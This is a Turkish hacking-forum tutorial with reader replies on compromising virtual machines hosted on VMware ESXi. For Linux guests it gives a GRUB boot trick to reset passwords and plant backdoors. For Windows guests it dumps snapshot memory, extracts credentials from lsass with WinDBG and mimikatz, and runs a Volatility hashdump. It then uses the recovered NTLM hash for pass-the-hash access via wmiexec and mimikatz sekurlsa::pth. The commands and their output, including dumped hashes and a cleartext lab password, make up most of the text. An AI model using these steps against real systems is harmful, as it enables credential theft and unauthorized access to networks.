Vmware ESXI Virtual Machine Hacking Linux/Windows (Pass to Hash, Mimikatz, Windbg, Volatility)

KraL

Üye
Merhaba arkadaşlar, uzun süredir hem diaryofinjector hem vvhack için bir döküman yazma düşüncem vardı. Hazır 3 gün tatil bolca zamanımız varken bu dökümanı hazırlayalım dedik. Döküman başlıktan anlaşılacağı üzere Vmware üzerinde ki işletim sistemlerine ne tür saldırılar yapılabilir. Hem linux hem windows sistemlerini işleyeceğiz burada. Konu kendi içerisinde farklı konulara evrilecek. Pass to Hash, Windbg, Mimikatz, Volatility gibi teknik konuları ve araçları inceleyeceğiz. Döküman Vmware ESXI 6.5 üzerinde Pardus ve Windows Server 2008 R2 işletim sistemleri üzerinde denenmiştir. Pardus’a ve dostlara selam olsun. Artık başlayalım.

Bir sistemi hacklemeye çalışıyorken, hele ki büyük bir sistem mevzu bahis ise Vmware yüksek ihtimal karşılaşabileceğiniz bir sanallaştırma ürünüdür. Sistemde daha öne yakaladığınız bir şifre veya Active Directory üzerinden aldığınız bir user/pass Wmware erişimi olduğunu gördünüz. Bu noktadan sonra neler yapabiliriz. Çünkü sanal makinelere girmeye çalıştığımızda karşımıza şöyle bir ekran çıkacak.

login


Öncelikle işletim sistemimiz Linux ise çoğu kişinin bildiği açılışta GRUB menüsünden “e” tuşuna basarak sonrasında ro yazısını rw init=/bin/bash sonrasında Ctrl-X tuşu ile direk komut satırına düşebiliyoruz. Tabi bu dakikadan sonra ister user ekler ister şifre değiştirir ister backdoor atıp backconnect alıp Vmware’dan çıkarsınız size kalmış.

komutlin

passwddegis


Tabi bu noktada şöyle bir sıkıntı var. Çalışan bir makineye bu işlemi yapmak ne kadar mantıklı. O yüzden genelde bu işlemi snapshot alarak yapmak daha mantıklı. Makinenin snapsotu alınır işlem yapılır. Shadow’dan şifre alınır kırılır. Diğer makinelere aynı userla giriş yapmak denenebilir veya id_rsa alınarak know_hosttaki makinelere ssh denenebilir. Saldırı olayları bu şekilde çeşitlendirilebilir.

İşletim sistemimiz Windows ise neler yapabiliriz? Bunun üzerine de bir kaç saldırı yöntemi anlatmaya çalışacağım. Öncelikle çalışan makinelerin snapshotu alınıp .vmem dediğimiz çalışan makinenin RAM processlerini dump edebiliriz. Daha sonra aldığımız bu .vmem dosyasın Vmware’nin vmss2core.exe eklentisiyle .dmp haline getirip ram üzerinde ki kullanıcıların şifrelerine erişebiliriz.

Öncelikle Vmware’de snapshot almayı kısaca açıklayalım; sanal makineye sağ tık yapılır. Snapshots > Take Snapshot (Name ve Description açıklamalar girilir ve snapshot oluşturulur) Bu snapshotlar unutmayın makineye verilen ram kapasitesi kadar çıkar. 4 GB ram ayrılmışsa snapshotunuzun .vmem dosyası 4 GB olacaktır. Tabi bunları kendi makinemize çekmek biraz sıkıntılı. Bu noktada Vmware’nin ssh’ını kullanabiliriz. Default olarak Vmware’de ssh aktif etmek gerek. Onuda aşağıda ki resimde ki gibi halledebilirsiniz.

ssh


Ssh üzerinden /vhms/volumes/machinename/ klasöründen scp ile kendi sunucunuza çekebilir veya datastore yardımıylada indirebilirsiniz. Boyutlar yüksek olduğu için ssh ile dosyayı tarlayabilirsiniz.

windowswmem


Şimdi .vmem .vmss dosyasını kendi makinemize çekiyoruz. Şimdi .vmem dosyamızı .dmp’e çevireceğiz. Bunun için Vmware’nin vmss2core.exe eklentisini kulanacağız. Komut satırından

"vmss2core.exe -W virtual_machine_name.vmss virtual_machine_name.vmem"

Komutu ile .dmp dosyamızı oluşturuyoruz. 32 bit için -W8 parametresi kullanılır.

dmp1

dmp2


Evet artık RAM’imizin backupını aldık şimdi WinDBG ile ramimizi açıp mimikatz .dll ile processimizi öğrencez ve şifremizi alacağız. Mimikatz nedir nasıl çalışır ? Mimikatz windows işletim sistemlerinde ram üzerinde ki offset bilgileri okuyarak kullanıcı bilgilerin saldırgana aktarıldığı bir yazılımdır. Windows’da oturum açan her kullanıcının ntlm dediğimiz windows hashi ramlerde tutulur. Sign out olup rom üzerinde ki bilginin üzerine yeni bir bilgi gelene kadar.

Şimdi WinDBG’ı açıyoruz. .dmp dosyamızı File, Open Crash Dump seçeneğinden programa aktarıyoruz. WinDBG debug işlemi için symboller kullanır.Bunun için symbollerin yeniden dizin ayarlaması indirilmesi ve tekrar yüklenmesi için;

".symfix" , “.reload” komutlarını gönderiyoruz.

Şimdi sırada mimikatz’in .ddl’ini WinDBG yüklememiz gerekiyor. Bunun için;

.load C:\Users\vvhack\mimikatz\mimikatz.dll komutu ile dll WinDBG yüklüyoruz.

Daha sonrasında ram üzerinden lsass.exe çalıştığı processi bulmamız gerek. Bunun için ;

"!process 0 0 lsass.exe" komutu ile processimizi offset adresine ulaşıyoruz.

".process /r /p " komutu ile adrese impliot oluyoruz.

Artık sadece mimikatz çalıştırmak kaldı.

!mimikatz komutu ile mimikatzimizi çalıştırıyoruz. Sonuç:

* Username : Administrator
* Domain : WIN-PLFLLV1KER8
* LM : 13ef99d22b622297ccf9155e3e7db453
* NTLM : 0eb4dabbd2a9141866f2ebb055ae172c
* SHA1 : 8bcbea19a1bfb18ed322d68f44d758e644e638ca
tspkg :
* Username : Administrator
* Domain : WIN-PLFLLV1KER8
* Password : vvhack!123

winpass


Biraz karışık olmuş olabilir. Resimden takip ederseniz daha iyi anlayacaksınızdır.

Bazı windows işletim sistemlerinde şifreni clear text olarak gelmesi engellenebiliyor. Bu durumda elimizde sadece ntlm hash olabiliyor. Aslında buda yeterli bir bilgi. Çünkü smb üzerinden “wmiexec” yardımıyla command promta düşebiliriz.

Bunun için wmiexec indiriyoruz. Kurulumu yapıyoruz ve sonrasında

wmiexec.py -hashes :ntlmhash Administrator@targetip komutu ile sisteme erişmiş olabiliyoruz.

final


Hatta Pass to Hash ile rdp bile atabiliriz. Onun için şu komutu kullanabilirsiniz.

mimikatz # sekurlsa::pth /user:“Administrator” /domain:“WIN-PLFLLV1KER8” /ntlm:0
eb4dabbd2a9141866f2ebb055ae172c /run:"mstsc.exe /restrictedadmin"


Unutmadan burada bir parantez açmak istiyorum (eğer makine RDC 8.1 update for restricted administration in Windows 7 or Windows Server 2008 R2 bu güncellemeyi almışsa rdp işini unutun)

evet şimdi farklı bir yöntem daha var ondan da kısaca bahsetmek istiyorum. Genellike çok bilinmez forensic için daha çok kullanılan bir yazılım ama volatility.

Aynı işlemi gelin volatility üzerinden yapalım.

Vol üzerinden işlemi yapmak için öncelikle bir profillendirme yapmamız gerekiyor. Dump debug ederek hangi işletim sistemi hangi komutları kullanmamız lazım v.s

Bunun için;

pardus@pardus:/tmp/volatility-master$ python vol.py imageinfo -f …/memory.dmp

ilk komutumuzu gönderiyoruz.

Suggested Profile(s) : No suggestion (Instantiated with Win10x64_15063)
AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
AS Layer2 : WindowsCrashDumpSpace64 (Unnamed AS)
AS Layer3 : FileAddressSpace (/tmp/memory.dmp)
PAE type : No PAE
DTB : 0x187000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2020-05-02 00:55:51 UTC+0000
Image local date and time : 2020-05-02 03:55:51 +0300
vol1


görüldüğü üzere buralarda sapmalar olabiliyor. Bizim işletim sistemimiz Windows Server 2008 olmasına rağmen imageinfo’da Windows10 diyebiliyor. İşletim sistemini biliyorsanız iş daha kolay. Bu parametre bize profile için gerekli. Programın sağladığı profiller:

python vol.py --info
VistaSP0x64 - A Profile for Windows Vista SP0 x64
VistaSP0x86 - A Profile for Windows Vista SP0 x86
VistaSP1x64 - A Profile for Windows Vista SP1 x64
VistaSP1x86 - A Profile for Windows Vista SP1 x86
VistaSP2x64 - A Profile for Windows Vista SP2 x64
VistaSP2x86 - A Profile for Windows Vista SP2 x86
Win10x64 - A Profile for Windows 10 x64
Win10x86 - A Profile for Windows 10 x86
Win2003SP0x86 - A Profile for Windows 2003 SP0 x86
Win2003SP1x64 - A Profile for Windows 2003 SP1 x64
Win2003SP1x86 - A Profile for Windows 2003 SP1 x86
Win2003SP2x64 - A Profile for Windows 2003 SP2 x64
Win2003SP2x86 - A Profile for Windows 2003 SP2 x86
Win2008R2SP0x64 - A Profile for Windows 2008 R2 SP0 x64
Win2008R2SP1x64 - A Profile for Windows 2008 R2 SP1 x64
Win2008SP1x64 - A Profile for Windows 2008 SP1 x64
Win2008SP1x86 - A Profile for Windows 2008 SP1 x86
Win2008SP2x64 - A Profile for Windows 2008 SP2 x64
Win2008SP2x86 - A Profile for Windows 2008 SP2 x86
Win2012R2x64 - A Profile for Windows Server 2012 R2 x64
Win2012x64 - A Profile for Windows Server 2012 x64
Win7SP0x64 - A Profile for Windows 7 SP0 x64
Win7SP0x86 - A Profile for Windows 7 SP0 x86
Win7SP1x64 - A Profile for Windows 7 SP1 x64
Win7SP1x86 - A Profile for Windows 7 SP1 x86
Win81U1x64 - A Profile for Windows 8.1 Update 1 x64
Win81U1x86 - A Profile for Windows 8.1 Update 1 x86
Win8SP0x64 - A Profile for Windows 8 x64
Win8SP0x86 - A Profile for Windows 8 x86
Win8SP1x64 - A Profile for Windows 8.1 x64
Win8SP1x86 - A Profile for Windows 8.1 x86
WinXPSP1x64 - A Profile for Windows XP SP1 x64
WinXPSP2x64 - A Profile for Windows XP SP2 x64
WinXPSP2x86 - A Profile for Windows XP SP2 x86
WinXPSP3x86 - A Profile for Windows XP SP3 x86



Burada bizim profilimiz : Win2008R2SP1x64

Gerekli komutu gönderip kayıt defterlerinin offsetlerini alabiliriz.

pardus@pardus:/tmp/volatility-master$ python vol.py hivelist -f …/memory.dmp --profile=Win2008R2SP1x64
Volatility Foundation Volatility Framework 2.6.1
Virtual Physical Name

0xfffff8a00627a010 0x0000000133a67010 ??\C:\System Volume Information\Syscache.hve
0xfffff8a006d88010 0x00000001252de010 ??\C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat
0xfffff8a006d92010 0x000000012550d010 ??\C:\Users\Administrator\ntuser.dat
0xfffff8a00000e010 0x0000000136f9d010 [no name]
0xfffff8a0000232d0 0x0000000136fa82d0 \REGISTRY\MACHINE\SYSTEM
0xfffff8a000057010 0x000000013705e010 \REGISTRY\MACHINE\HARDWARE
0xfffff8a000f44010 0x0000000106380010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a00172c010 0x000000011485b010 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a00542c010 0x0000000103d07010 \SystemRoot\System32\Config\SECURITY
0xfffff8a005496010 0x000000010468f010 \SystemRoot\System32\Config\SAM
0xfffff8a0054cc010 0x00000001034cc010 ??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a005534010 0x00000001028b0010 ??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a005e77010 0x00000001145fd010 \SystemRoot\System32\Config\DEFAULT
vol2


Artık hashdump ile şifreleri alabiliriz.

pardus@pardus:/tmp/volatility-master$ python vol.py hashdump -f …/memory.dmp --profile=Win2008R2SP1x64
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0eb4dabbd2a9141866f2ebb055ae172c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vol3


Evet işte bu kadar.

unutmayın ki windowsda sam,security ve system dosyalarına erişebilirseniz. Kullanıcı ntlmlerini çekebilirsiniz.

Evet dökümanımızın sonuna doğru geliyoken çok bahsettiğimiz mimikatzin düz çalışmasınıda bırakıp dökümanı sonlandırıyorum.

Admin olarak sisteme giriş yaptıktans onra mmikatz admin olarak çalıştırın.

sırasıyla;

privilege::debug
log a.log
sekurlsa::logonpasswords /all


komutları ile ntlm veya clear text şifrelere erişebilirsiniz.

mimikatz


Evet bugünlük bu kadar. Bir sonraki yazımız RCE ile alakalı olacak. Ama ondan önce yeni bir seriye başlamayı düşünüyorum forumda. Savunma Sanayi ile alakalı. Savunma Sanayi’ye merakı olanlar dm pm ulaşsınlar bana.

Teşekkürler: Old School Tayfa
 
Moderatör tarafında düzenlendi:

KraL

Üye
Linkler :




https://kb.vmware.com/s/article/2003941

 

sef

0xffffffxxxxxx
Yerli kaynakların bu kadar kıt olduğu bir zamanda Türkçe kaynak üreterek emek vermen, Twitter’da ona buna hekır abilik yapmak yerine şurada paylaşman takdire şayan. NTLM relay ataklarından da müsait bir zamanda bahsedebilirsen şeker gibi olur.
 
NTLM Relay demişken artırarak SMB relay anlatılsa çok güzel olabilir. NTLM de yakalanan hashleri kırmak kısıtlı zamanda pek mümkün olmuyor. NTLM relay, SMB Relay gibi konular üzerine bende hash kırmak için en iyi yolları araştırarak anlatabilirim.
 
  • Like
Tepkiler: sef

ozanpy

Üye
Elinize sağlık. Gerçekten hiçbir yerde görmediğinim konular. Vaktiniz oldukça yazılar yazarsanız çok güzel olur 🙂
 
Üst